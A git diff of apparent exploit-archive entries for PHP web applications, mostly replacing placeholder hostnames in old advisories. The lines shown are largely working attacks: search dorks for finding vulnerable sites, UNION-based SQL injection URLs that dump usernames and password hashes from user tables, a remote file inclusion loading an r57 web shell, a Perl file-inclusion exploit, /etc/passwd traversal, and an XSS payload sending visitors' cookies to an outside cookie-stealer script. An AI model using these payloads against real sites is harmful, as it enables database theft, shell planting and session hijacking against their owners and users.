http://www.datacoders.ir diff --git a/platforms/php/webapps/14439.txt b/platforms/php/webapps/14439.txt index 05ab35256..d6dbdebb7 100755 --- a/platforms/php/webapps/14439.txt +++ b/platforms/php/webapps/14439.txt @@ -16,12 +16,12 @@ Dork                   :: intitle: phpBazar-AdminPanel ~~~~~~~~~~~~~~~~~~ -demo                   :: http://server/admin/admin.php?action=logging&orders=userid&sort=asc&offset=0&poffset=0 +demo                   :: http://www.target.com/admin/admin.php?action=logging&orders=userid&sort=asc&offset=0&poffset=0                           ~~~~~~~~~~~~~~~~~~~~~~~~~ -Example Just For Edu   :: http://www.server/admin/admin.php?action=logging&orders=userid&sort=asc&offset=0&poffset=0 +Example Just For Edu   :: http://www.site.com/admin/admin.php?action=logging&orders=userid&sort=asc&offset=0&poffset=0                              ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ diff --git a/platforms/php/webapps/14441.txt b/platforms/php/webapps/14441.txt index f03d95f03..ddbd905cc 100755 --- a/platforms/php/webapps/14441.txt +++ b/platforms/php/webapps/14441.txt @@ -1,4 +1,4 @@ -010101010101010101010101010101010101010101010101010101010 + 010101010101010101010101010101010101010101010101010101010 0 0 1 Iranian Datacoders Security Team 2010 0 0 @@ -20,7 +20,7 @@ After find plugin at sites run SQL Inject : -example : http://server/myLDlinker.php?url=18[SQLi] +example : http://site.com/myLDlinker.php?url=18[SQLi] ############################################################################# diff --git a/platforms/php/webapps/14442.txt b/platforms/php/webapps/14442.txt index d5c440215..d7e556a71 100755 --- a/platforms/php/webapps/14442.txt +++ b/platforms/php/webapps/14442.txt @@ -26,7 +26,7 @@ OManage Your Advertisers With Complete Ease Using ZeeAdBox v1.1- All-In-One Powe ####################################################################################################### Xploit :SQL iNj3cti0n Vulnerabilty -DEMO URL? http://www.server/bannerclick.php?bnnnerid=11 [ SQL i ] +DEMO URL? http://www.site.com/bannerclick.php?bnnnerid=11 [ SQL i ] ############################################################################################################### diff --git a/platforms/php/webapps/14443.txt b/platforms/php/webapps/14443.txt index 98cb11f69..a6e9f8509 100755 --- a/platforms/php/webapps/14443.txt +++ b/platforms/php/webapps/14443.txt @@ -10,9 +10,9 @@ Dork : allinurl:"/lildbi/ POC : -The shell upload page : http://server/[path]/lildbi/e/admin/uploader.php +The shell upload page : http://target.com/[path]/lildbi/e/admin/uploader.php -File Desination : http://server/[path]/lildbi/e/admin/files/[name].php +File Desination : http://target.com/[path]/lildbi/e/admin/files/[name].php Tyank you :) diff --git a/platforms/php/webapps/14446.txt b/platforms/php/webapps/14446.txt index d1c86cc3b..88a49acb6 100755 --- a/platforms/php/webapps/14446.txt +++ b/platforms/php/webapps/14446.txt @@ -9,6 +9,6 @@ --------------------------exploit------------------------------ dork : Powered by: PhotoPost PHP 4.6 -exploit: www.server/photopost/index.php?cat=1 [sql injection] +exploit: www.site.com/photopost/index.php?cat=1 [sql injection] --------------------------------------------------------------------------------------- Special Thanks to : Dz-Ghost theblind747 all my frend \ No newline at end of file diff --git a/platforms/php/webapps/14450.txt b/platforms/php/webapps/14450.txt index 094522d46..cca2c4f27 100755 --- a/platforms/php/webapps/14450.txt +++ b/platforms/php/webapps/14450.txt @@ -9,7 +9,7 @@ DORK : inurl:"index.php?option=com_iproperty" ==================================================== [+] Vulnerable File : -http://www.server/index.php?option=com_iproperty&view=agentproperties&id=[SQL] +http://www.site.com/index.php?option=com_iproperty&view=agentproperties&id=[SQL] [+] ExploiT : index.php?option=com_iproperty&view=agentproperties&id=-999999/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,group_concat(username,char(58),password)v3n0m/**/from/**/jos_users-- diff --git a/platforms/php/webapps/14455.txt b/platforms/php/webapps/14455.txt index 0fd01b17f..758d8fb69 100755 --- a/platforms/php/webapps/14455.txt +++ b/platforms/php/webapps/14455.txt @@ -1,4 +1,4 @@ -010101010101010101010101010101010101010101010101010101010 + 010101010101010101010101010101010101010101010101010101010 0 0 1 Iranian Datacoders Security Team 2010 0 0 diff --git a/platforms/php/webapps/14463.txt b/platforms/php/webapps/14463.txt index deac3b1fb..20ff8e3f2 100755 --- a/platforms/php/webapps/14463.txt +++ b/platforms/php/webapps/14463.txt @@ -8,7 +8,7 @@ [+] Vulnerable File : - http://www.server/index.php?option=com_itarmory&view=guildmembers&Itemid=[SQL] + http://www.site.com/index.php?option=com_itarmory&view=guildmembers&Itemid=[SQL] [+] ExploiT : @@ -18,7 +18,7 @@ [+] Example : - http://www.server/index.php?option=com_itarmory&view=guildmembers&Itemid=?filter_search=&filter_level=1&filter_race=*&filter_class=8+and+1=2+union+all+select+1,2,3,4,5,6,concat(username,0x3a,password),8,9,10,11+from+jos_users--+ + http://www.site.com/index.php?option=com_itarmory&view=guildmembers&Itemid=?filter_search=&filter_level=1&filter_race=*&filter_class=8+and+1=2+union+all+select+1,2,3,4,5,6,concat(username,0x3a,password),8,9,10,11+from+jos_users--+ diff --git a/platforms/php/webapps/14466.txt b/platforms/php/webapps/14466.txt index 36c476455..1d6635f2e 100755 --- a/platforms/php/webapps/14466.txt +++ b/platforms/php/webapps/14466.txt @@ -31,7 +31,7 @@ http://127.0.0.1/index.php?option=com_joomdle&view=detail&cat_id=1&course_id=[IN [ d3m0 ] -http://www.server/index.php?option=com_joomdle&view=detail&cat_id=1&course_id=-999.9'+UNION+ALL+SELECT+1,2,3,4,5,group_concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18+from+mdl_user--+and+'kaMtiEz'='kaMtiEz +http://www.site.com/index.php?option=com_joomdle&view=detail&cat_id=1&course_id=-999.9'+UNION+ALL+SELECT+1,2,3,4,5,group_concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18+from+mdl_user--+and+'kaMtiEz'='kaMtiEz etc etc etc ;] [ INFO ] diff --git a/platforms/php/webapps/14467.txt b/platforms/php/webapps/14467.txt index 7cb4b6913..9af5b7550 100755 --- a/platforms/php/webapps/14467.txt +++ b/platforms/php/webapps/14467.txt @@ -18,11 +18,11 @@ multimedia-channels/video-channels/12037 Dork = inurl:"com_youtube" ########################################################################### ===[ Exploit ]=== -http://www.server/index.php?option=com_youtube&id_cate=4 +http://www.site.com/index.php?option=com_youtube&id_cate=4 union+select+1,concat(username,0x3a,email),3,4,5,6,7,8+from+jos_users-- or -http://www.server/index.php?option=com_youtube&id_cate=55 +http://www.site.com/index.php?option=com_youtube&id_cate=55 union+select+1,concat(username,0x3a,email),3,4,5,6,7,8+from+jos_users-- ########################################################################### Greetz @ Flit0x-Dz AnD MCA-CRB All "DZ" "MusliM" diff --git a/platforms/php/webapps/14469.txt b/platforms/php/webapps/14469.txt index 35b855c98..127abc811 100755 --- a/platforms/php/webapps/14469.txt +++ b/platforms/php/webapps/14469.txt @@ -19,11 +19,11 @@ After find bug on the sites , run this : -http://server/index.php?m=1[SQLi] +http://site.com/index.php?m=1[SQLi] If you can not inject run Blind SQL Injection -http://server/index.php?m=1[BSQLi] +http://site.com/index.php?m=1[BSQLi] diff --git a/platforms/php/webapps/14470.txt b/platforms/php/webapps/14470.txt index 436f18e84..4a6d59776 100755 --- a/platforms/php/webapps/14470.txt +++ b/platforms/php/webapps/14470.txt @@ -7,13 +7,13 @@ ==================================================================== #1 - Vulnerable File ------------------------------------------------------ -[+] File: http://www.server/alinti.php?mesajid=[SQL] -[+] Exploit: http://www.server/alinti.php?mesajid=-6666+UNION+SELECT+sifre+FROM+uyeler+WHERE+id=1 +[+] File: http://www.site.com/alinti.php?mesajid=[SQL] +[+] Exploit: http://www.site.com/alinti.php?mesajid=-6666+UNION+SELECT+sifre+FROM+uyeler+WHERE+id=1 #2 - Insecure Cookie ------------------------------------------------------ javascript:document.cookie="ballettin=-6666 UNION SELECT * FROM uyeler WHERE id=1"; -After go to http://www.server/ust.php +After go to http://www.site.com/ust.php ==================================================================== diff --git a/platforms/php/webapps/14471.txt b/platforms/php/webapps/14471.txt index bfeb59845..7e84b7d66 100755 --- a/platforms/php/webapps/14471.txt +++ b/platforms/php/webapps/14471.txt @@ -5,41 +5,41 @@ [+] SQL Injection Vulnerability [+] Dorks: allinurl:"shop.htm?shopMGID=" [+] Bug in shop.htm?shopMGID -[+] Exploit: http://www.server/shop.htm?shopMGID=XXXX (see below python exploit) +[+] Exploit: http://www.site.com/shop.htm?shopMGID=XXXX (see below python exploit) [+] ================================================== Step[1]: Error -http://www.server/shop.htm?shopMGID=9999' +http://www.site.com/shop.htm?shopMGID=9999' Step[2]: Number of columns -http://www.server/shop.htm?shopMGID=9999+order+by+1-- +http://www.site.com/shop.htm?shopMGID=9999+order+by+1-- Step[3]: Output of numbers -http://www.server/shop.htm?shopMGID=-9999+union+select+1,2,3,4,5-- +http://www.site.com/shop.htm?shopMGID=-9999+union+select+1,2,3,4,5-- Step[4]: Collect informations -http://www.server/shop.htm?shopMGID=-9999+union+select+version(),database(),3,4,5+from+information_schema.columns-- +http://www.site.com/shop.htm?shopMGID=-9999+union+select+version(),database(),3,4,5+from+information_schema.columns-- Step[5]: If version is 5.0.67-community 5.0.32-Debian_7etch8-log 5.0.40-log -http://www.server/shop.htm?shopMGID=-9999+union+select+1,2,concat_ws(0x3a,table_schema,table_name,column_name),4,5+from+information_schema.columns-- +http://www.site.com/shop.htm?shopMGID=-9999+union+select+1,2,concat_ws(0x3a,table_schema,table_name,column_name),4,5+from+information_schema.columns-- Step[6]: Increment zero in "limit+0,1--" until you have interesting tables and columns -http://www.server/shop.htm?shopMGID=-9999+union+select+1,2,concat_ws(0x3a,table_schema,table_name,column_name),4,5+from+information_schema.columns+limit+0,1-- +http://www.site.com/shop.htm?shopMGID=-9999+union+select+1,2,concat_ws(0x3a,table_schema,table_name,column_name),4,5+from+information_schema.columns+limit+0,1-- Step[7]: Get the content (fiction tables in this example) -http://www.server/shop.htm?shopMGID=-9999+union+select+1,2,concat_ws(0x3a,username,password),4,5+user-- +http://www.site.com/shop.htm?shopMGID=-9999+union+select+1,2,concat_ws(0x3a,username,password),4,5+user-- ================================================== @@ -68,7 +68,7 @@ if len(sys.argv)!=2: print "===============================================================================" print "== Take the Admin username and the password from the tagrt page ==" print "=Usage: ./exploit.py <injection> ==" - print "=Exmpl: ./exploit.py <http://www.server/shop.htm?shopMGID=131> ==" + print "=Exmpl: ./exploit.py <http://www.site.com/shop.htm?shopMGID=131> ==" print "===============================================================================" sys.exit(1) global url,end,injection,i diff --git a/platforms/php/webapps/14474.txt b/platforms/php/webapps/14474.txt index 5db5839d3..abfcb2c9b 100755 --- a/platforms/php/webapps/14474.txt +++ b/platforms/php/webapps/14474.txt @@ -28,7 +28,7 @@ Freeway CMS 1.4.3.210 SQL Injection Vulnerability [P0C]: http://127.0.0.1/path/index.php?ecPath=[SQL Injection] -[L!v3 D3m0]: http://www.server/register/index.php?ecPath='3 +[L!v3 D3m0]: http://www.site.com/register/index.php?ecPath='3 And we Got: 1054 - Unknown column 'e.events_status' in 'where clause' diff --git a/platforms/php/webapps/14476.txt b/platforms/php/webapps/14476.txt index 96e7a2bbf..fc33a7167 100755 --- a/platforms/php/webapps/14476.txt +++ b/platforms/php/webapps/14476.txt @@ -20,7 +20,7 @@ http://localhost//administrator/components/com_joomla-visites/core/include/myMai DeMo ~ -http://www.server//administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=http://www.server/r57.txt? +http://www.site.com//administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=http://www.site.com/r57.txt? EnJoY o_O diff --git a/platforms/php/webapps/14501.txt b/platforms/php/webapps/14501.txt index a92f0ddf3..03592c370 100755 --- a/platforms/php/webapps/14501.txt +++ b/platforms/php/webapps/14501.txt @@ -36,4 +36,4 @@ index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1 # my friends # M4MIM4N // L363ND //Meher Assel // Ghost_tn //ta3lab el maker // Th3 m3t4l-m4n # -############################################################## \ No newline at end of file +############################################################## \ No newline at end of file diff --git a/platforms/php/webapps/14502.txt b/platforms/php/webapps/14502.txt index c9770140a..615290f33 100755 --- a/platforms/php/webapps/14502.txt +++ b/platforms/php/webapps/14502.txt @@ -9,16 +9,16 @@ Dork = inurl:"com_beamospetition" ############################################################ --- SQL Injection Vulenrability --- SQL Injection Vulenrability component "com_beamospetition" -http://www.server/path/index.php?option=com_beamospetition&startpage=3&pet=1[SQL] +http://www.site.com/path/index.php?option=com_beamospetition&startpage=3&pet=1[SQL] ############################################################ ===[Injection]=== [SQL] = +Union+select+1-- ############################################################ ===[ Exploit ]=== -http://www.server/path/index.php?option=com_beamospetition&startpage=3&pet=-1 +http://www.site.com/path/index.php?option=com_beamospetition&startpage=3&pet=-1 +Union+select+user()+from+jos_users-- ############################################################ Greetz @ Flit0x-Dz AnD MCA-CRB All "DZ" "MusliM" ############################################################ - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14541.txt b/platforms/php/webapps/14541.txt index 675a5a09e..db94523d6 100755 --- a/platforms/php/webapps/14541.txt +++ b/platforms/php/webapps/14541.txt @@ -21,11 +21,11 @@ http://127.0.0.1/[kaMtiEz]/wp-content/plugins/nextgen-smooth-gallery/nggSmoothFr [ DEMO ] -http://www.server/wp-content/plugins/nextgen-smooth-gallery/nggSmoothFrame.php?galleryID=31[BLIND-SQL] +http://www.site.com/wp-content/plugins/nextgen-smooth-gallery/nggSmoothFrame.php?galleryID=31[BLIND-SQL] -http://www.server/wp-content/plugins/nextgen-smooth-gallery/nggSmoothFrame.php?galleryID=34[BLIND-SQL] +http://www.site.com/wp-content/plugins/nextgen-smooth-gallery/nggSmoothFrame.php?galleryID=34[BLIND-SQL] -http://www.server/dp2009/wp-content/plugins/nextgen-smooth-gallery/nggSmoothFrame.php?galleryID=2[BLIND-SQL] +http://www.site.com/dp2009/wp-content/plugins/nextgen-smooth-gallery/nggSmoothFrame.php?galleryID=2[BLIND-SQL] [ FIX ] diff --git a/platforms/php/webapps/14556.txt b/platforms/php/webapps/14556.txt index 9f4044383..ce5fbbc12 100755 --- a/platforms/php/webapps/14556.txt +++ b/platforms/php/webapps/14556.txt @@ -16,7 +16,7 @@ SQL Error => /modules/Partenaires/clic.php?id=8' -www.server/modules/Partenaires/clic.php?id=8 [Blind] +www.site.com/modules/Partenaires/clic.php?id=8 [Blind] #################################################################### diff --git a/platforms/php/webapps/14557.txt b/platforms/php/webapps/14557.txt index 844cf1a3c..f55fd5879 100755 --- a/platforms/php/webapps/14557.txt +++ b/platforms/php/webapps/14557.txt @@ -21,7 +21,7 @@ # Exploit : [site]/shop/view_image.php?id=[SQL Injection] # Tested on : XP - Linux -e.g. http://www.server/shop/view_image.php?id=416+and+1=0+Union+Select(UNEXVISIBLECOLUMN)+2+3 +e.g. http://www.site.com/shop/view_image.php?id=416+and+1=0+Union+Select(UNEXVISIBLECOLUMN)+2+3 ######################################################################################## diff --git a/platforms/php/webapps/14560.txt b/platforms/php/webapps/14560.txt index 59a0e26fe..a904b855e 100755 --- a/platforms/php/webapps/14560.txt +++ b/platforms/php/webapps/14560.txt @@ -1,4 +1,4 @@ -1 ######################################## 1 + 1 ######################################## 1 0 I'm eidelweiss member from Inj3ct0r Team 1 1 ######################################## 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 diff --git a/platforms/php/webapps/1457.txt b/platforms/php/webapps/1457.txt index 030b018f7..95a10f003 100755 --- a/platforms/php/webapps/1457.txt +++ b/platforms/php/webapps/1457.txt @@ -18,6 +18,6 @@ the following is a simple attack: <pre a='>' onmouseover='document.location="http://www.milw0rm.com/cookie_stealer.php?c="+document.cookie' b='<pre' > -[url]http://www.someserver/[/url]</pre> +[url]http://www.somesite.com/[/url]</pre> # milw0rm.com [2006-01-29] diff --git a/platforms/php/webapps/14570.txt b/platforms/php/webapps/14570.txt index a0ce7ba1b..701069148 100755 --- a/platforms/php/webapps/14570.txt +++ b/platforms/php/webapps/14570.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/14589.txt b/platforms/php/webapps/14589.txt index 5276f382d..f4eb78f07 100755 --- a/platforms/php/webapps/14589.txt +++ b/platforms/php/webapps/14589.txt @@ -20,7 +20,7 @@ $numrows = $db->sql_numrows($result); if ($numrows>0) {...... ###################################################################### -#Bug : http://server/modules.php?name=Web_Links&l_op=Add&url=sql Injection +#Bug : http://site.com/modules.php?name=Web_Links&l_op=Add&url=sql Injection ###################################################################### diff --git a/platforms/php/webapps/1459.pl b/platforms/php/webapps/1459.pl index 62e050cfd..e3d1e64d0 100755 --- a/platforms/php/webapps/1459.pl +++ b/platforms/php/webapps/1459.pl @@ -6,8 +6,8 @@ # All rights reserved. # # never ctrl+c again. -# cijfer$ http://server/dir -# host changed to 'http://server/dir' +# cijfer$ http://target.com/dir +# host changed to 'http://target.com/dir' # cijfer$ # # greets to JagX @@ -41,7 +41,7 @@ sub usage { print "xeCMS 1.0.0 RC 2 Remote Command Execution Exploit\n"; print "usage: $0 -hpv\n\n"; - print " -h --host\tfull address of target (ex. http://www.webserver/directory)\n"; + print " -h --host\tfull address of target (ex. http://www.website.com/directory)\n"; print " -p --proxy\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n"; print " -v --verbose\tverbose mode\n\n"; exit; diff --git a/platforms/php/webapps/14592.txt b/platforms/php/webapps/14592.txt index 467d41e4c..cb51d98b7 100755 --- a/platforms/php/webapps/14592.txt +++ b/platforms/php/webapps/14592.txt @@ -14,13 +14,13 @@ Dork = inurl:/index.php?option=com_yellowpages ############################################################ --- SQL Injection Vulenrability --- SQL Injection Vulenrability component "com_yellowpages" -http://server/index.php?option=com_yellowpages&cat=1923[SQL] +http://site.com/index.php?option=com_yellowpages&cat=1923[SQL] ############################################################ ===[ Exploit ]=== -http://www.server/path/index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users-- +http://www.site.com/path/index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users-- +Union+select+user()+from+jos_users-- ############################################################ #.Türk oğlu, !!..Türk kızı !!..Türklügünü Koru!.. ############################################################ - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14614.txt b/platforms/php/webapps/14614.txt index b0b252fa9..10db9fcd7 100755 --- a/platforms/php/webapps/14614.txt +++ b/platforms/php/webapps/14614.txt @@ -9,4 +9,4 @@ C0nditi0ns : PHP Version > 4.x.x Expl0it Code : http://target/clearBudget.0.9.8/logic/controller.class.php?actionPath=[file] Ramadan Kareem ! -Gr33t'z : SA-h4x0r ~ LoOoRd ~ Inj3ct0r M3ms & T3am \ No newline at end of file +Gr33t'z : SA-h4x0r ~ LoOoRd ~ Inj3ct0r M3ms & T3am \ No newline at end of file diff --git a/platforms/php/webapps/14615.txt b/platforms/php/webapps/14615.txt index 23dd5410e..5897dcbc0 100755 --- a/platforms/php/webapps/14615.txt +++ b/platforms/php/webapps/14615.txt @@ -9,4 +9,4 @@ C0nditi0ns : PHP Version > 4.x.x Exploit Code : http://target/path/getid3/getid3.php?header=[file] Ramadan Kareem ! -Gr33t'z : SA-h4x0r ~ LoOoRd ~ Inj3ct0r M3ms & T3am \ No newline at end of file +Gr33t'z : SA-h4x0r ~ LoOoRd ~ Inj3ct0r M3ms & T3am \ No newline at end of file diff --git a/platforms/php/webapps/14618.txt b/platforms/php/webapps/14618.txt index 2cda948f4..1597862e5 100755 --- a/platforms/php/webapps/14618.txt +++ b/platforms/php/webapps/14618.txt @@ -17,3 +17,4 @@ A special tribute to: DannY.iRaQi - TeaM iRaQ HaCkers + \ No newline at end of file diff --git a/platforms/php/webapps/14636.txt b/platforms/php/webapps/14636.txt index ce5b692a2..991685bf1 100755 --- a/platforms/php/webapps/14636.txt +++ b/platforms/php/webapps/14636.txt @@ -8,14 +8,14 @@ exp : Line 117: if ($fp_source = @fopen($_GET['src'],'rb')) -server/path/plog-includes/lib/phpthumb/phpThumb.php?src=../../../../../../../../etc/passwd%00 +www.server.com/path/plog-includes/lib/phpthumb/phpThumb.php?src=../../../../../../../../etc/passwd%00 Line 41: $_GET['w'] = $matches[1]; Line 42: $_GET['h'] = $matches[2]; -server/path/plog-includes/lib/phpthumb/phpThumb.php?w=../../../../../../../../../etc/passwd%00 +www.server.com/path/plog-includes/lib/phpthumb/phpThumb.php?w=../../../../../../../../../etc/passwd%00 -server/path/plog-includes/lib/phpthumb/phpThumb.php?h=../../../../../../../../../etc/passwd%00 +www.server.com/path/plog-includes/lib/phpthumb/phpThumb.php?h=../../../../../../../../../etc/passwd%00 greetz : all muslems (ramadan kreem) \ No newline at end of file diff --git a/platforms/php/webapps/14639.txt b/platforms/php/webapps/14639.txt index acb7c1624..5a6605bb7 100755 --- a/platforms/php/webapps/14639.txt +++ b/platforms/php/webapps/14639.txt @@ -13,3 +13,4 @@ A special tribute to: DannY.iRaQi - TeaM iRaQ HaCkers + \ No newline at end of file diff --git a/platforms/php/webapps/14645.txt b/platforms/php/webapps/14645.txt index ea1f34e56..9f42a434d 100755 --- a/platforms/php/webapps/14645.txt +++ b/platforms/php/webapps/14645.txt @@ -1,4 +1,4 @@ -Sports Accelerator Suite v2.0 (news_id) Remote SQL Injection Vulnerability + Sports Accelerator Suite v2.0 (news_id) Remote SQL Injection Vulnerability diff --git a/platforms/php/webapps/14648.txt b/platforms/php/webapps/14648.txt index fa24a69ec..57ce06c6f 100755 --- a/platforms/php/webapps/14648.txt +++ b/platforms/php/webapps/14648.txt @@ -32,4 +32,4 @@ Add A New Comment And The exploit is in Name :) -Thx To : Allah \ No newline at end of file +Thx To : Allah \ No newline at end of file diff --git a/platforms/php/webapps/14655.txt b/platforms/php/webapps/14655.txt index 0c0bafc49..520db0bba 100755 --- a/platforms/php/webapps/14655.txt +++ b/platforms/php/webapps/14655.txt @@ -11,9 +11,9 @@ Dork = inurl:"com_equipment" SQL Injection Vulenrability component "com_equipment" ############################################################ ===[ Exploit ]=== -http://www.server/path/index.php?option=com_equipment&view=details&id=[SQL] +http://www.site.com/path/index.php?option=com_equipment&view=details&id=[SQL] or -http://www.server/path/index.php?option=com_equipment&task=components&id=45&sec_men_id=[SQL] +http://www.site.com/path/index.php?option=com_equipment&task=components&id=45&sec_men_id=[SQL] ############################################################ ===[Injection]=== [SQL] = +Union+select+1,user(),3,4,5,6+from+jos_users-- @@ -24,4 +24,4 @@ Greetz @ MCA-CRB All "DZ" "MusliM" ############################################################ ======[saha fotorkom]====== ############################################################ - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14659.txt b/platforms/php/webapps/14659.txt index 99846a354..aa5ef292a 100755 --- a/platforms/php/webapps/14659.txt +++ b/platforms/php/webapps/14659.txt @@ -1,4 +1,4 @@ - + =================================================== Joomla Component (com_ongallery) SQL Injection Vulnerability =================================================== @@ -17,14 +17,14 @@ BORDO BERELİLER GRUP KOMUTANLIGI [+] Vulnerable File : -http://server/index.php?option=com_ongallery&task=ft&id=-1[SQL] +http://site.com/index.php?option=com_ongallery&task=ft&id=-1[SQL] [+] ExploiT : -http://server/index.php?option=com_ongallery&task=ft&id=-1+order+by+1-- +http://site.com/index.php?option=com_ongallery&task=ft&id=-1+order+by+1-- -http://server/index.php?option=com_ongallery&task=ft&id=-1+union+select+1-- +http://site.com/index.php?option=com_ongallery&task=ft&id=-1+union+select+1-- =================================================== @@ -32,4 +32,4 @@ http://server/index.php?option=com_ongallery&task=ft&id=-1+union+select+1-- =================================================== Greetz : 1923Turk All Users - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14694.txt b/platforms/php/webapps/14694.txt index 829aa0eb8..53c4f693d 100755 --- a/platforms/php/webapps/14694.txt +++ b/platforms/php/webapps/14694.txt @@ -11,7 +11,7 @@ 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 [+] Vulnerable File : -http://www.server/[PATH]/components/com_extcalendar/cal_popup.php?extmode=view&extid=[BLIND_SQL] +http://www.site.com/[PATH]/components/com_extcalendar/cal_popup.php?extmode=view&extid=[BLIND_SQL] 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 Greetz 2 Allah and Ramadan Karim diff --git a/platforms/php/webapps/14712.txt b/platforms/php/webapps/14712.txt index 47767258b..3c48fc2d9 100755 --- a/platforms/php/webapps/14712.txt +++ b/platforms/php/webapps/14712.txt @@ -15,3 +15,4 @@ A special tribute to: DannY.iRaQi - TeaM iRaQ HaCkers + \ No newline at end of file diff --git a/platforms/php/webapps/14722.txt b/platforms/php/webapps/14722.txt index 603cf3bff..4d0f57b9d 100755 --- a/platforms/php/webapps/14722.txt +++ b/platforms/php/webapps/14722.txt @@ -62,4 +62,4 @@ Joomla! (Multiple) ExploiT exit ,, / Praise be to God for the blessing of Islam - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/14742.txt b/platforms/php/webapps/14742.txt index e188a2ee6..cf8a2de3f 100755 --- a/platforms/php/webapps/14742.txt +++ b/platforms/php/webapps/14742.txt @@ -27,13 +27,13 @@ 1- Blind Sql injection : -http://server/clanspherepath/index.php?mod=news&action=recent&id=0&from=list'+and+31337-31337=0+--+ +http://www.target.com/clanspherepath/index.php?mod=news&action=recent&id=0&from=list'+and+31337-31337=0+--+ -http://server/clansphere/index.php?mod=news&action=recent&year=2009&month=8"+and+31337-31337=0+--+ +http://www.target.com/clansphere/index.php?mod=news&action=recent&year=2009&month=8"+and+31337-31337=0+--+ 2-Xss : -http://server/clansphere/index.php/>"><ScRiPt>alert("sweet")</ScRiPt> +http://www.target.com/clansphere/index.php/>"><ScRiPt>alert("sweet")</ScRiPt> Saha Ftourkoum et 1,2,3 viva L'Algerie :)) \ No newline at end of file diff --git a/platforms/php/webapps/14799.txt b/platforms/php/webapps/14799.txt index ae4951446..e8fba6dfe 100755 --- a/platforms/php/webapps/14799.txt +++ b/platforms/php/webapps/14799.txt @@ -15,3 +15,4 @@ A special tribute to: DannY.iRaQi - TeaM iRaQ HaCkers + \ No newline at end of file diff --git a/platforms/php/webapps/14806.txt b/platforms/php/webapps/14806.txt index 06be0b3de..d0f2c5bdf 100755 --- a/platforms/php/webapps/14806.txt +++ b/platforms/php/webapps/14806.txt @@ -1,4 +1,4 @@ -**** ** ******** ********** /**/** /** **////// /////**/// /**//** /** /** /** /** //** /** /********* /** /** //**/** ////////** /** /** //**** /** /** /** //*** ******** /** // /// //////// // + **** ** ******** ********** /**/** /** **////// /////**/// /**//** /** /** /** /** //** /** /********* /** /** //**/** ////////** /** /** //**** /** /** /** //*** ******** /** // /// //////// // ================================= Prometeo (vers. 1.0.65) -SQLi Vulnerability- ================================= @@ -12,4 +12,4 @@ Prometeo (vers. 1.0.65) -SQLi Vulnerability- ========= -Example: http://server/categoria.php?ID=132%20and%201=2%20union%20select%201,concat(nome,0x3a,password),3,4,5,6,7,8,9,10,null,12,13,14,15,16,17%20from%20users-- -# Netw0rkSecurity.net [2010-08-26] \ No newline at end of file +# Netw0rkSecurity.net [2010-08-26] \ No newline at end of file diff --git a/platforms/php/webapps/14808.pl b/platforms/php/webapps/14808.pl index 624303575..710fa1cab 100755 --- a/platforms/php/webapps/14808.pl +++ b/platforms/php/webapps/14808.pl @@ -20,7 +20,7 @@ use URI::Escape; use IO::Socket; -$shellcode = "http://yourshellserver"; +$shellcode = "http://yourshellsite.com"; main(); @@ -30,7 +30,7 @@ sub usage print "\mini CMS / News Script Lite 1.0 Remote File Include Exploit\n"; print "Bug found and Exploit written by bd0rk\n"; print "-1, --target\ttarget\t(yourhost.com)\n"; -print "-2, --shellpath\tshell\t(http://yourshellserver)\n"; +print "-2, --shellpath\tshell\t(http://yourshellsite.com)\n"; print "-3, --dir\tDirectory\t(/news_system)\n"; exit; diff --git a/platforms/php/webapps/14809.txt b/platforms/php/webapps/14809.txt index 262644d73..a20a2a087 100755 --- a/platforms/php/webapps/14809.txt +++ b/platforms/php/webapps/14809.txt @@ -1,4 +1,4 @@ -######################################################## + ######################################################## # # # HINNENDAHL.COM Kontakt Formular 1.1 (formmailer.php) # # # diff --git a/platforms/php/webapps/14810.txt b/platforms/php/webapps/14810.txt index 64b74ac54..277bb7a30 100755 --- a/platforms/php/webapps/14810.txt +++ b/platforms/php/webapps/14810.txt @@ -1,4 +1,4 @@ -######################################################## + ######################################################## # # # HINNENDAHL.COM Gaestebuch 1.2 # # # diff --git a/platforms/php/webapps/14811.txt b/platforms/php/webapps/14811.txt index cb8fcf5f6..059a142cd 100755 --- a/platforms/php/webapps/14811.txt +++ b/platforms/php/webapps/14811.txt @@ -11,11 +11,11 @@ # # 1. Register On Site # -# 2. http://server/index.php?option=com_remository&Itemid=[Itemid]&func=addfile +# 2. http://www.Target.com/index.php?option=com_remository&Itemid=[Itemid]&func=addfile # # 